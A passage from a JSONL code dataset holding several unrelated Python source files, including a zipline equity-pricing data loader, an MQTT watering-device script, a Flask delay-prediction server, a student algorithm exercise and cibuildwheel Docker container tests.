_tensor_mem(pipeline.stages[-2].output),\n carried_output_consumption,\n )\n )\n return child_limits\n except IntermediatesTooBigError:\n return None\n\n\nclass MemoryLimits(abc.ABC):\n @property\n @abc.abstractmethod\n def available(self) -> tuple[int, ...]:\n pass\n\n @abc.abstractmethod\n def transition(self, schedule: ops.Schedule) -> Optional[list[\"MemoryLimits\"]]:\n raise NotImplementedError()\n\n\nclass StandardMemoryLimits(MemoryLimits):\n _available: tuple[int, ...]\n\n def __init__(self, available_memory: Optional[tuple[int, ...]] = None) -> None:\n super().__init__()\n if available_memory is None:\n system = system_config.DEFAULT_SYSTEM_CONFIG\n self._available = tuple(\n c.capacity * system.line_size for c in system.level_configs\n )\n else:\n if any(m < 0 for m in available_memory):\n raise AvailableIsNegativeError(\n f\"Given negative available memory: {available_memory}\"\n )\n self._available = available_memory\n\n def __eq__(self, other) -> bool:\n if not isinstance(other, StandardMemoryLimits):\n return False\n return self.available == other.available\n\n def __hash__(self) -> int:\n return hash(self.available)\n\n @property\n def available(self) -> tuple[int, ...]:\n return self._available\n\n def transition(self, schedule: ops.Schedule) -> Optional[list[\"MemoryLimits\"]]:\n \"\"\"Returns new limits for the children (holes) of the given schedule.\n\n Returns `None` if the given schedule violates limits and is therefore\n unschedulable.\n \"\"\"\n # base->pipeline\n if isinstance(schedule, ops.Pipeline):\n return _pipeline_transition(self.available, schedule, _zero_tup, _zero_tup)\n\n # base->base\n child_limits: list[tuple[int, ...]] = []\n for additionals in schedule.additional_memories:\n child_limits.append(\n tuple(m - d for m, d in zip(self._available, additionals))\n )\n assert len(child_limits) == len(schedule.children)\n if any(\n m < 0 for memory_after_action in child_limits for m in memory_after_action\n ):\n # This violates the limits, so we return None\n return None\n return [StandardMemoryLimits(a) for a in child_limits]\n\n\nclass PipelineChildMemoryLimits(MemoryLimits):\n \"\"\"A MemoryLimits carrying extra information for a hole in a Pipeline.\"\"\"\n\n base_available: tuple[int, ...]\n input_consumption: tuple[int, ...]\n output_consumption: tuple[int, ...]\n\n def __init__(\n self,\n base: tuple[int, ...],\n input_consumption: tuple[int, ...],\n output_consumption: tuple[int, ...],\n ) -> None:\n super().__init__()\n if any(v > b for v, b in zip(input_consumption, base)):\n raise IntermediatesTooBigError(\"input tensor doesn't fit in available\")\n if any(v > b for v, b in zip(output_consumption, base)):\n raise IntermediatesTooBigError(\"output tensor doesn't fit in available\")\n\n self.base_available = base\n self.input_consumption = input_consumption\n self.output_consumption = output_consumption\n\n def __eq__(self, other) -> bool:\n if not isinstance(other, PipelineChildMemoryLimits):\n return False\n return (\n self.base_available == other.base_available\n and self.input_consumption == other.input_consumption\n and self.output_consumption == other.output_consumption\n )\n\n def __hash__(self) -> int:\n return hash(\n (self.base_available, self.input_consumption, self.output_consumption)\n )\n\n @property\n def available(self):\n # This property is the interface for any caller expecting a base\n # StandardMemoryLimits (i.e. one that can't use extra information about\n # its context in a Pipeline).\n return tuple(\n a - (b + c)\n for a, b, c in zip(\n self.base_available, self.input_consumption, self.output_consumption\n )\n )\n\n def transition(self, schedule: ops.Schedule) -> Optional[list[\"MemoryLimits\"]]:\n # pipeline->base; treat self as a StandardMemoryLimits and transition\n # normally.\n if not isinstance(schedule, ops.Pipeline):\n # If we're transitioning to a non-Pipeline, we lose the precision of a\n # PipelineChildMemoryLimits. It's possible, at this point, that the uniform\n # lower bound on available memory becomes negative, in which case we'll\n # return None.\n try:\n standard_limits = StandardMemoryLimits(self.available)\n except AvailableIsNegativeError:\n return None\n return standard_limits.transition(schedule)\n\n # pipeline->pipeline; push input/output information into inner\n # PipelineChildMemoryLimits\n return _pipeline_transition(\n self.base_available,\n schedule,\n self.input_consumption,\n self.output_consumption,\n )\n","sub_path":"morello/pruning.py","file_name":"pruning.py","file_ext":"py","file_size_in_byte":6976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"92338756","text":"from enum import Enum \nimport socket\nimport paho.mqtt.client as mqtt\nimport paho.mqtt.publish as publish\nfrom time import sleep\nimport threading\nimport sys\nimport repackage\nrepackage.up()\nfrom SharedClasses.BiDirectionalMQTTComms import * \nfrom SharedClasses.DeviceInterface import * \nfrom SharedClasses.helper_functions import * \nfrom serial import Serial as Serial\n\nclass CommunicationInterface():\n def __init__(self, device_type, topics):\n self.ftopic_list = topics\n\n self.fdevice_type = device_type\n self.farduino = Serial('/dev/ttyACM0', 9600)\n\n def getTopicList(self):\n return self.ftopic_list\n \n def getDeviceType(self):\n return self.fdevice_type\n\n def onMessage(self, topic, payload):\n print(topic + \" | \" + payload)\n\n if ((\"blink_led\" in payload) or (\"valve_state\" in payload)):\n print(\"writing to arduino\")\n print(payload.encode('utf_8'))\n self.farduino.write(payload.encode('utf_8'))\n \n print(\"\")\n\n def getArdiuno(self):\n return self.farduino\n\n def readArdinoSerial(self):\n try:\n avaliable_msg = self.farduino.inWaiting()\n return self.farduino.read(avaliable_msg).decode()\n except:\n return \"\"\n\nglobal server_ip_address\n\nif __name__ == \"__main__\":\n try:\n server_ip_address = sys.argv[1]\n except:\n print(\"You must enter the server ip address as an additional command line arg\")\n exit()\n\n print(get_ip())\n print(server_ip_address)\n\n #try make this constant!\n interface_obj = CommunicationInterface(\n WATERING_SYSTEM_TYPE_NAME, \n [DEFAULT_DATA_TOPIC, \n CONTROL_DEVICE_TOPIC,\n SETUP_DEVICE_TOPIC, \n WATERING_INFO_TOPIC,\n \"/edge_device/topic_stream\"])\n \n mqtt_interface = BiDirectionalMQTTComms(get_ip(), server_ip_address, DeviceType.edge_device, interface_obj)\n\n while True:\n msg = interface_obj.readArdinoSerial()\n\n if len(msg) > 0:\n print(\"Arduino Msg:\")\n print(msg)\n mqtt_interface.sendMsg(msg, WATERING_INFO_TOPIC)\n interface_obj.getArdiuno().flushOutput()\n interface_obj.getArdiuno().flushInput()\n\n sleep(0.02)\n","sub_path":"WateringDevice_1/WateringEdgeDevice.py","file_name":"WateringEdgeDevice.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"594882775","text":"# Copyright 2015 Quantopian, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom abc import (\n ABCMeta,\n abstractmethod,\n)\nfrom contextlib import contextmanager\nfrom errno import ENOENT\nfrom os import remove\nfrom os.path import exists\n\nfrom bcolz import (\n carray,\n ctable,\n)\nfrom click import progressbar\nfrom numpy import (\n array,\n array_equal,\n float64,\n floating,\n full,\n iinfo,\n integer,\n issubdtype,\n uint32,\n)\nfrom pandas import (\n DatetimeIndex,\n read_csv,\n Timestamp,\n)\nfrom six import (\n iteritems,\n string_types,\n with_metaclass,\n)\nimport sqlite3\n\n\nfrom zipline.data.ffc.base import FFCLoader\nfrom zipline.data.ffc.loaders._us_equity_pricing import (\n _compute_row_slices,\n _read_bcolz_data,\n load_adjustments_from_sqlite,\n)\nfrom zipline.lib.adjusted_array import (\n adjusted_array,\n)\nfrom zipline.errors import NoFurtherDataError\n\nOHLC = frozenset(['open', 'high', 'low', 'close'])\nUS_EQUITY_PRICING_BCOLZ_COLUMNS = [\n 'open', 'high', 'low', 'close', 'volume', 'day', 'id'\n]\nDAILY_US_EQUITY_PRICING_DEFAULT_FILENAME = 'daily_us_equity_pricing.bcolz'\nSQLITE_ADJUSTMENT_COLUMNS = frozenset(['effective_date', 'ratio', 'sid'])\nSQLITE_ADJUSTMENT_COLUMN_DTYPES = {\n 'effective_date': integer,\n 'ratio': floating,\n 'sid': integer,\n}\nSQLITE_ADJUSTMENT_TABLENAMES = frozenset(['splits', 'dividends', 'mergers'])\n\nUINT32_MAX = iinfo(uint32).max\n\n\n@contextmanager\ndef passthrough(obj):\n yield obj\n\n\nclass BcolzDailyBarWriter(with_metaclass(ABCMeta)):\n \"\"\"\n Class capable of writing daily OHLCV data to disk in a format that can be\n read efficiently by BcolzDailyOHLCVReader.\n\n See Also\n --------\n BcolzDailyBarReader : Consumer of the data written by this class.\n \"\"\"\n\n @abstractmethod\n def gen_tables(self, assets):\n \"\"\"\n Return an iterator of pairs of (asset_id, bcolz.ctable).\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def to_uint32(self, array, colname):\n \"\"\"\n Convert raw column values produced by gen_tables into uint32 values.\n\n Parameters\n ----------\n array : np.array\n An array of raw values.\n colname : str, {'open', 'high', 'low', 'close', 'volume', 'day'}\n The name of the column being loaded.\n\n For output being read by the default BcolzOHLCVReader, data should be\n stored in the following manner:\n\n - Pricing columns (Open, High, Low, Close) should be stored as 1000 *\n as-traded dollar value.\n - Volume should be the as-traded volume.\n - Dates should be stored as seconds since midnight UTC, Jan 1, 1970.\n \"\"\"\n raise NotImplementedError()\n\n def write(self, filename, calendar, assets, show_progress=False):\n \"\"\"\n Parameters\n ----------\n filename : str\n The location at which we should write our output.\n calendar : pandas.DatetimeIndex\n Calendar to use to compute asset calendar offsets.\n assets : pandas.Int64Index\n The assets for which to write data.\n show_progress : bool\n Whether or not to show a progress bar while writing.\n\n Returns\n -------\n table : bcolz.ctable\n The newly-written table.\n \"\"\"\n _iterator = self.gen_tables(assets)\n if show_progress:\n pbar = progressbar(\n _iterator,\n length=len(assets),\n item_show_func=lambda i: i if i is None else str(i[0]),\n label=\"Merging asset files:\",\n )\n with pbar as pbar_iterator:\n return self._write_internal(filename, calendar, pbar_iterator)\n return self._write_internal(filename, calendar, _iterator)\n\n def _write_internal(self, filename, calendar, iterator):\n \"\"\"\n Internal implementation of write.\n\n `iterator` should be an iterator yielding pairs of (asset, ctable).\n \"\"\"\n total_rows = 0\n first_row = {}\n last_row = {}\n calendar_offset = {}\n\n # Maps column name -> output carray.\n columns = {\n k: carray(array([], dtype=uint32))\n for k in US_EQUITY_PRICING_BCOLZ_COLUMNS\n }\n\n for asset_id, table in iterator:\n nrows = len(table)\n for column_name in columns:\n if column_name == 'id':\n # We know what the content of this column is, so don't\n # bother reading it.\n columns['id'].append(full((nrows,), asset_id))\n continue\n columns[column_name].append(\n self.to_uint32(table[column_name][:], column_name)\n )\n\n # Bcolz doesn't support ints as keys in `attrs`, so convert\n # assets to strings for use as attr keys.\n asset_key = str(asset_id)\n\n # Calculate the index into the array of the first and last row\n # for this asset. This allows us to efficiently load single\n # assets when querying the data back out of the table.\n first_row[asset_key] = total_rows\n last_row[asset_key] = total_rows + nrows - 1\n total_rows += nrows\n\n # Calculate the number of trading days between the first date\n # in the stored data and the first date of **this** asset. This\n # offset used for output alignment by the reader.\n\n # HACK: Index with a list so that we get back an array we can pass\n # to self.to_uint32. We could try to extract this in the loop\n # above, but that makes the logic a lot messier.\n asset_first_day = self.to_uint32(table['day'][[0]], 'day')[0]\n calendar_offset[asset_key] = calendar.get_loc(\n Timestamp(asset_first_day, unit='s', tz='UTC'),\n )\n\n # This writes the table to disk.\n full_table = ctable(\n columns=[\n columns[colname]\n for colname in US_EQUITY_PRICING_BCOLZ_COLUMNS\n ],\n names=US_EQUITY_PRICING_BCOLZ_COLUMNS,\n rootdir=filename,\n mode='w',\n )\n full_table.attrs['first_row'] = first_row\n full_table.attrs['last_row'] = last_row\n full_table.attrs['calendar_offset'] = calendar_offset\n full_table.attrs['calendar'] = calendar.asi8.tolist()\n return full_table\n\n\nclass DailyBarWriterFromCSVs(BcolzDailyBarWriter):\n \"\"\"\n BcolzDailyBarWriter constructed from a map from csvs to assets.\n\n Parameters\n ----------\n asset_map : dict\n A map from asset_id -> path to csv with data for that asset.\n\n CSVs should have the following columns:\n day : datetime64\n open : float64\n high : float64\n low : float64\n close : float64\n volume : int64\n \"\"\"\n _csv_dtypes = {\n 'open': float64,\n 'high': float64,\n 'low': float64,\n 'close': float64,\n 'volume': float64,\n }\n\n def __init__(self, asset_map):\n self._asset_map = asset_map\n\n def gen_tables(self, assets):\n \"\"\"\n Read CSVs as DataFrames from our asset map.\n \"\"\"\n dtypes = self._csv_dtypes\n for asset in assets:\n path = self._asset_map.get(asset)\n if path is None:\n raise KeyError(\"No path supplied for asset %s\" % asset)\n data = read_csv(path, parse_dates=['day'], dtype=dtypes)\n yield asset, ctable.fromdataframe(data)\n\n def to_uint32(self, array, colname):\n arrmax = array.max()\n if colname in OHLC:\n self.check_uint_safe(arrmax * 1000, colname)\n return (array * 1000).astype(uint32)\n elif colname == 'volume':\n self.check_uint_safe(arrmax, colname)\n return array.astype(uint32)\n elif colname == 'day':\n nanos_per_second = (1000 * 1000 * 1000)\n self.check_uint_safe(arrmax.view(int) / nanos_per_second, colname)\n return (array.view(int) / nanos_per_second).astype(uint32)\n\n @staticmethod\n def check_uint_safe(value, colname):\n if value >= UINT32_MAX:\n raise ValueError(\n \"Value %s from column '%s' is too large\" % (value, colname)\n )\n\n\nclass BcolzDailyBarReader(object):\n \"\"\"\n Reader for raw pricing data written by BcolzDailyOHLCVWriter.\n\n A Bcolz CTable is comprised of Columns and Attributes.\n\n Columns\n -------\n The table with which this loader interacts contains the following columns:\n\n ['open', 'high', 'low', 'close', 'volume', 'day', 'id'].\n\n The data in these columns is interpreted as follows:\n\n - Price columns ('open', 'high', 'low', 'close') are interpreted as 1000 *\n as-traded dollar value.\n - Volume is interpreted as as-traded volume.\n - Day is interpreted as seconds since midnight UTC, Jan 1, 1970.\n - Id is the asset id of the row.\n\n The data in each column is grouped by asset and then sorted by day within\n each asset block.\n\n The table is built to represent a long time range of data, e.g. ten years\n of equity data, so the lengths of each asset block is not equal to each\n other. The blocks are clipped to the known start and end date of each asset\n to cut down on the number of empty values that would need to be included to\n make a regular/cubic dataset.\n\n When read across the open, high, low, close, and volume with the same\n index should represent the same asset and day.\n\n Attributes\n ----------\n The table with which this loader interacts contains the following\n attributes:\n\n first_row : dict\n Map from asset_id -> index of first row in the dataset with that id.\n last_row : dict\n Map from asset_id -> index of last row in the dataset with that id.\n calendar_offset : dict\n Map from asset_id -> calendar index of first row.\n calendar : list[int64]\n Calendar used to compute offsets, in asi8 format (ns since EPOCH).\n\n We use first_row and last_row together to quickly find ranges of rows to\n load when reading an asset's data into memory.\n\n We use calendar_offset and calendar to orient loaded blocks within a\n range of queried dates.\n \"\"\"\n def __init__(self, table):\n if isinstance(table, string_types):\n table = ctable(rootdir=table, mode='r')\n\n self._table = table\n self._calendar = DatetimeIndex(table.attrs['calendar'], tz='UTC')\n self._first_rows = {\n int(asset_id): start_index\n for asset_id, start_index in iteritems(table.attrs['first_row'])\n }\n self._last_rows = {\n int(asset_id): end_index\n for asset_id, end_index in iteritems(table.attrs['last_row'])\n }\n self._calendar_offsets = {\n int(id_): offset\n for id_, offset in iteritems(table.attrs['calendar_offset'])\n }\n\n def _slice_locs(self, start_date, end_date):\n try:\n start = self._calendar.get_loc(start_date)\n except KeyError:\n if start_date < self._calendar[0]:\n raise NoFurtherDataError(\n msg=(\n \"FFC Query requesting data starting on {query_start}, \"\n \"but first known date is {calendar_start}\"\n ).format(\n query_start=str(start_date),\n calendar_start=str(self._calendar[0]),\n )\n )\n else:\n raise ValueError(\"Query start %s not in calendar\" % start_date)\n try:\n stop = self._calendar.get_loc(end_date)\n except:\n if end_date > self._calendar[-1]:\n raise NoFurtherDataError(\n msg=(\n \"FFC Query requesting data up to {query_end}, \"\n \"but last known date is {calendar_end}\"\n ).format(\n query_end=end_date,\n calendar_end=self._calendar[-1],\n )\n )\n else:\n raise ValueError(\"Query end %s not in calendar\" % end_date)\n return start, stop\n\n def _compute_slices(self, dates, assets):\n \"\"\"\n Compute the raw row indices to load for each asset on a query for the\n given dates.\n\n Parameters\n ----------\n dates : pandas.DatetimeIndex\n Dates of the query on which we want to compute row indices.\n assets : pandas.Int64Index\n Assets for which we want to compute row indices\n\n Returns\n -------\n A 3-tuple of (first_rows, last_rows, offsets):\n first_rows : np.array[intp]\n Array with length == len(assets) containing the index of the first\n row to load for each asset in `assets`.\n last_rows : np.array[intp]\n Array with length == len(assets) containing the index of the last\n row to load for each asset in `assets`.\n offset : np.array[intp]\n Array with length == (len(asset) containing the index in a buffer\n of length `dates` corresponding to the first row of each asset.\n\n The value of offset[i] will be 0 if asset[i] existed at the start\n of a query. Otherwise, offset[i] will be equal to the number of\n entries in `dates` for which the asset did not yet exist.\n \"\"\"\n start, stop = self._slice_locs(dates[0], dates[-1])\n\n # Sanity check that the requested date range matches our calendar.\n # This could be removed in the future if it's materially affecting\n # performance.\n query_dates = self._calendar[start:stop + 1]\n if not array_equal(query_dates.values, dates.values):\n raise ValueError(\"Incompatible calendars!\")\n\n # The core implementation of the logic here is implemented in Cython\n # for efficiency.\n return _compute_row_slices(\n self._first_rows,\n self._last_rows,\n self._calendar_offsets,\n start,\n stop,\n assets,\n )\n\n def load_raw_arrays(self, columns, dates, assets):\n first_rows, last_rows, offsets = self._compute_slices(dates, assets)\n return _read_bcolz_data(\n self._table,\n (len(dates), len(assets)),\n [column.name for column in columns],\n first_rows,\n last_rows,\n offsets,\n )\n\n\nclass SQLiteAdjustmentWriter(object):\n \"\"\"\n Writer for data to be read by SQLiteAdjustmentWriter\n\n Parameters\n ----------\n conn_or_path : str or sqlite3.Connection\n A handle to the target sqlite database.\n overwrite : bool, optional, default=False\n If True and conn_or_path is a string, remove any existing files at the\n given path before connecting.\n\n See Also\n --------\n SQLiteAdjustmentReader\n \"\"\"\n\n def __init__(self, conn_or_path, overwrite=False):\n if isinstance(conn_or_path, sqlite3.Connection):\n self.conn = conn_or_path\n elif isinstance(conn_or_path, str):\n if overwrite and exists(conn_or_path):\n try:\n remove(conn_or_path)\n except OSError as e:\n if e.errno != ENOENT:\n raise\n self.conn = sqlite3.connect(conn_or_path)\n else:\n raise TypeError(\"Unknown connection type %s\" % type(conn_or_path))\n\n def write_frame(self, tablename, frame):\n if frozenset(frame.columns) != SQLITE_ADJUSTMENT_COLUMNS:\n raise ValueError(\n \"Unexpected frame columns:\\n\"\n \"Expected Columns: %s\\n\"\n \"Received Columns: %s\" % (\n SQLITE_ADJUSTMENT_COLUMNS,\n frame.columns.tolist(),\n )\n )\n elif tablename not in SQLITE_ADJUSTMENT_TABLENAMES:\n raise ValueError(\n \"Adjustment table %s not in %s\" % (\n tablename, SQLITE_ADJUSTMENT_TABLENAMES\n )\n )\n\n expected_dtypes = SQLITE_ADJUSTMENT_COLUMN_DTYPES\n actual_dtypes = frame.dtypes\n for colname, expected in iteritems(expected_dtypes):\n actual = actual_dtypes[colname]\n if not issubdtype(actual, expected):\n raise TypeError(\n \"Expected data of type {expected} for column '{colname}', \"\n \"but got {actual}.\".format(\n expected=expected,\n colname=colname,\n actual=actual,\n )\n )\n return frame.to_sql(tablename, self.conn)\n\n def write(self, splits, mergers, dividends):\n \"\"\"\n Writes data to a SQLite file to be read by SQLiteAdjustmentReader.\n\n Parameters\n ----------\n splits : pandas.DataFrame\n Dataframe containing split data.\n mergers : pandas.DataFrame\n DataFrame containing merger data.\n dividends : pandas.DataFrame\n DataFrame containing dividend data.\n\n Notes\n -----\n DataFrame input (`splits`, `mergers`, and `dividends`) should all have\n the following columns:\n\n effective_date : int\n The date, represented as seconds since Unix epoch, on which the\n adjustment should be applied.\n ratio : float\n A value to apply to all data earlier than the effective date.\n sid : int\n The asset id associated with this adjustment.\n\n The ratio column is interpreted as follows:\n - For all adjustment types, multiply price fields ('open', 'high',\n 'low', and 'close') by the ratio.\n - For **splits only**, **divide** volume by the adjustment ratio.\n\n Dividend ratios should be calculated as\n 1.0 - (dividend_value / \"close on day prior to dividend ex_date\").\n\n Returns\n -------\n None\n\n See Also\n --------\n SQLiteAdjustmentReader : Consumer for the data written by this class\n \"\"\"\n self.write_frame('splits', splits)\n self.write_frame('mergers', mergers)\n self.write_frame('dividends', dividends)\n self.conn.execute(\n \"CREATE INDEX splits_sids \"\n \"ON splits(sid)\"\n )\n self.conn.execute(\n \"CREATE INDEX splits_effective_date \"\n \"ON splits(effective_date)\"\n )\n self.conn.execute(\n \"CREATE INDEX mergers_sids \"\n \"ON mergers(sid)\"\n )\n self.conn.execute(\n \"CREATE INDEX mergers_effective_date \"\n \"ON mergers(effective_date)\"\n )\n self.conn.execute(\n \"CREATE INDEX dividends_sid \"\n \"ON dividends(sid)\"\n )\n self.conn.execute(\n \"CREATE INDEX dividends_effective_date \"\n \"ON dividends(effective_date)\"\n )\n\n def close(self):\n self.conn.close()\n\n\nclass SQLiteAdjustmentReader(object):\n \"\"\"\n Loads adjustments based on corporate actions from a SQLite database.\n\n Expects data written in the format output by `SQLiteAdjustmentWriter`.\n\n Parameters\n ----------\n conn : str or sqlite3.Connection\n Connection from which to load data.\n \"\"\"\n\n def __init__(self, conn):\n if isinstance(conn, str):\n conn = sqlite3.connect(conn)\n self.conn = conn\n\n def load_adjustments(self, columns, dates, assets):\n return load_adjustments_from_sqlite(\n self.conn,\n [column.name for column in columns],\n dates,\n assets,\n )\n\n\nclass USEquityPricingLoader(FFCLoader):\n \"\"\"\n FFCLoader for US Equity Pricing\n\n Delegates loading of baselines and adjustments.\n \"\"\"\n\n def __init__(self, raw_price_loader, adjustments_loader):\n self.raw_price_loader = raw_price_loader\n self.adjustments_loader = adjustments_loader\n\n def load_adjusted_array(self, columns, mask):\n dates, assets = mask.index, mask.columns\n raw_arrays = self.raw_price_loader.load_raw_arrays(\n columns,\n dates,\n assets,\n )\n adjustments = self.adjustments_loader.load_adjustments(\n columns,\n dates,\n assets,\n )\n\n return [\n adjusted_array(raw_array, mask.values, col_adjustments)\n for raw_array, col_adjustments in zip(raw_arrays, adjustments)\n ]\n","sub_path":"zipline/data/ffc/loaders/us_equity_pricing.py","file_name":"us_equity_pricing.py","file_ext":"py","file_size_in_byte":21283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"329816920","text":"import asyncio\nimport pytest\n\nfrom aiomisc import Service\n\n\nclass _TestService(Service):\n loop_on_init = None # type: asyncio.AbstractEventLoop\n\n async def start(self):\n assert self.loop is asyncio.get_event_loop()\n\n\n@pytest.fixture()\ndef service(loop: asyncio.AbstractEventLoop):\n return _TestService(loop_on_init=loop)\n\n\n@pytest.fixture()\ndef services(service: _TestService):\n return [service]\n\n\nasync def test_loop_fixture(service: _TestService,\n loop: asyncio.AbstractEventLoop):\n assert service.loop is service.loop_on_init is loop\n\n\ntry:\n from .yield_fixture_native import yield_fixture\nexcept SyntaxError:\n from .yield_fixture import yield_fixture # noqa\n\n\nasync def test_yield_fixture(yield_fixture): # noqa\n assert yield_fixture is True\n","sub_path":"tests/pytest_plugin/test_loop_fixture.py","file_name":"test_loop_fixture.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"126805126","text":"#DSA-Exer-25\r\n'''\r\nCreated on Mar 20, 2019\r\n\r\n@author: vijay.pal01\r\n'''\r\nfrom cherrypy._cpcompat import xrange\r\n\r\n\r\ndef find_maximum_activities(activity_list,start_time_list, finish_time_list):\r\n #Remove pass and write your logic here\r\n new_list=[]\r\n i = 0\r\n for j in range(1,len(finish_time_list)):\r\n if(start_time_list[j]>=finish_time_list[i]):\r\n new_list.append(activity_list[i])\r\n i=j\r\n \r\n \r\n#Pass different values to the function and test your program\r\nactivity_list=[11, 12, 32, 44, 53, 62]\r\nstart_time_list=[12, 14, 21, 31, 16, 18]\r\nfinish_time_list=[20, 16, 25, 35, 17, 20]\r\n\r\nprint(\"Activities:\",activity_list)\r\nprint(\"Start time of the activities:\",start_time_list)\r\nprint(\"Finishing time of the activities:\", finish_time_list)\r\n\r\nresult=find_maximum_activities(activity_list,start_time_list, finish_time_list)\r\nprint(\"The maximum set of activities that can be completed:\",result)","sub_path":"DSA/Day6/src/Excer25.py","file_name":"Excer25.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"21153486","text":"from flask import Flask, request\nimport dbio\nimport htmTraining\nimport htmPrediction\nimport json\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef checkrunning():\n return \"Delay Prediction Server is running!\"\n\n\n@app.route(\"/training\")\ndef training():\n linedir = request.args.get(\"linedir\", \"1-0\")\n from_date = request.args.get(\"from_date\", \"00000000\")\n to_date = request.args.get(\"to_date\", \"30001231\")\n htmTraining.trainModel(linedir, from_date, to_date)\n return \"Model for linedir {} is (re-)trained.\".format(linedir)\n\n@app.route(\"/prediction\")\ndef prediction():\n linedir = request.args.get(\"linedir\", \"1-0\")\n date = request.args.get(\"date\", \"\")\n pr_time = request.args.get(\"time\", \"\")\n if date == \"\":\n import datetime\n now = datetime.datetime.now()\n date = now.strftime(\"%Y%m%d\")\n if pr_time == \"\":\n import datetime\n now = datetime.datetime.now()\n time = now.hour * 3600 + now.minute * 60 + now.second\n else:\n time = int(pr_time)\n\n cluster, duration = htmPrediction.predictModel(linedir, date, time)\n result_dict = {'cluster':str(cluster), 'duration':str(duration)}\n return json.dumps(result_dict)\n\n\ndef __startup_activities__(run):\n if run:\n print(\"Getting distinct linedirs.\")\n linedirs = dbio.getDistinctLinedirs()\n for ld_tuple in linedirs:\n linedir = ld_tuple[0]\n print(\"Training for linedir: {}\".format(linedir))\n predictAfterDate='20150332'\n htmTraining.trainModel(linedir, to_date=predictAfterDate)\n\n\nif __name__ == '__main__':\n __startup_activities__(True)\n app.run(host='0.0.0.0')\n print(\"Server ready.\")\n","sub_path":"startServer.py","file_name":"startServer.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"389011653","text":"import platform\nimport random\nimport shutil\nimport subprocess\nimport textwrap\nfrom pathlib import Path, PurePath\n\nimport pytest\n\nfrom cibuildwheel.docker_container import DockerContainer\nfrom cibuildwheel.environment import EnvironmentAssignmentBash\n\n# for these tests we use manylinux2014 images, because they're available on\n# multi architectures and include python3.8\npm = platform.machine()\nif pm == \"x86_64\":\n DEFAULT_IMAGE = \"quay.io/pypa/manylinux2014_x86_64:2020-05-17-2f8ac3b\"\nelif pm == \"aarch64\":\n DEFAULT_IMAGE = \"quay.io/pypa/manylinux2014_aarch64:2020-05-17-2f8ac3b\"\nelif pm == \"ppc64le\":\n DEFAULT_IMAGE = \"quay.io/pypa/manylinux2014_ppc64le:2020-05-17-2f8ac3b\"\nelif pm == \"s390x\":\n DEFAULT_IMAGE = \"quay.io/pypa/manylinux2014_s390x:2020-05-17-2f8ac3b\"\n\n\n@pytest.mark.docker\ndef test_simple():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n assert container.call([\"echo\", \"hello\"], capture_output=True) == \"hello\\n\"\n\n\n@pytest.mark.docker\ndef test_no_lf():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n assert container.call([\"printf\", \"hello\"], capture_output=True) == \"hello\"\n\n\n@pytest.mark.docker\ndef test_environment():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n assert (\n container.call(\n [\"sh\", \"-c\", \"echo $TEST_VAR\"], env={\"TEST_VAR\": \"1\"}, capture_output=True\n )\n == \"1\\n\"\n )\n\n\n@pytest.mark.docker\ndef test_cwd():\n with DockerContainer(\n docker_image=DEFAULT_IMAGE, cwd=\"/cibuildwheel/working_directory\"\n ) as container:\n assert container.call([\"pwd\"], capture_output=True) == \"/cibuildwheel/working_directory\\n\"\n assert container.call([\"pwd\"], capture_output=True, cwd=\"/opt\") == \"/opt\\n\"\n\n\n@pytest.mark.docker\ndef test_container_removed():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n docker_containers_listing = subprocess.run(\n \"docker container ls\",\n shell=True,\n check=True,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n ).stdout\n assert container.name is not None\n assert container.name in docker_containers_listing\n old_container_name = container.name\n\n docker_containers_listing = subprocess.run(\n \"docker container ls\",\n shell=True,\n check=True,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n ).stdout\n assert old_container_name not in docker_containers_listing\n\n\n@pytest.mark.docker\ndef test_large_environment():\n # max environment variable size is 128kB\n long_env_var_length = 127 * 1024\n large_environment = {\n \"a\": \"0\" * long_env_var_length,\n \"b\": \"0\" * long_env_var_length,\n \"c\": \"0\" * long_env_var_length,\n \"d\": \"0\" * long_env_var_length,\n }\n\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n # check the length of d\n assert (\n container.call([\"sh\", \"-c\", \"echo ${#d}\"], env=large_environment, capture_output=True)\n == f\"{long_env_var_length}\\n\"\n )\n\n\n@pytest.mark.docker\ndef test_binary_output():\n with DockerContainer(docker_image=DEFAULT_IMAGE) as container:\n # note: the below embedded snippets are in python2\n\n # check that we can pass though arbitrary binary data without erroring\n container.call(\n [\n \"/usr/bin/python2\",\n \"-c\",\n textwrap.dedent(\n \"\"\"\n import sys\n sys.stdout.write(''.join(chr(n) for n in range(0, 256)))\n \"\"\"\n ),\n ]\n )\n\n # check that we can capture arbitrary binary data\n output = container.call(\n [\n \"/usr/bin/python2\",\n \"-c\",\n textwrap.dedent(\n \"\"\"\n import sys\n sys.stdout.write(''.join(chr(n % 256) for n in range(0, 512)))\n \"\"\"\n ),\n ],\n capture_output=True,\n )\n\n data = bytes(output, encoding=\"utf8\", errors=\"surrogateescape\")\n\n for i in range(512):\n assert data[i] == i % 256\n\n # check that environment variables can carry binary data, except null characters\n # 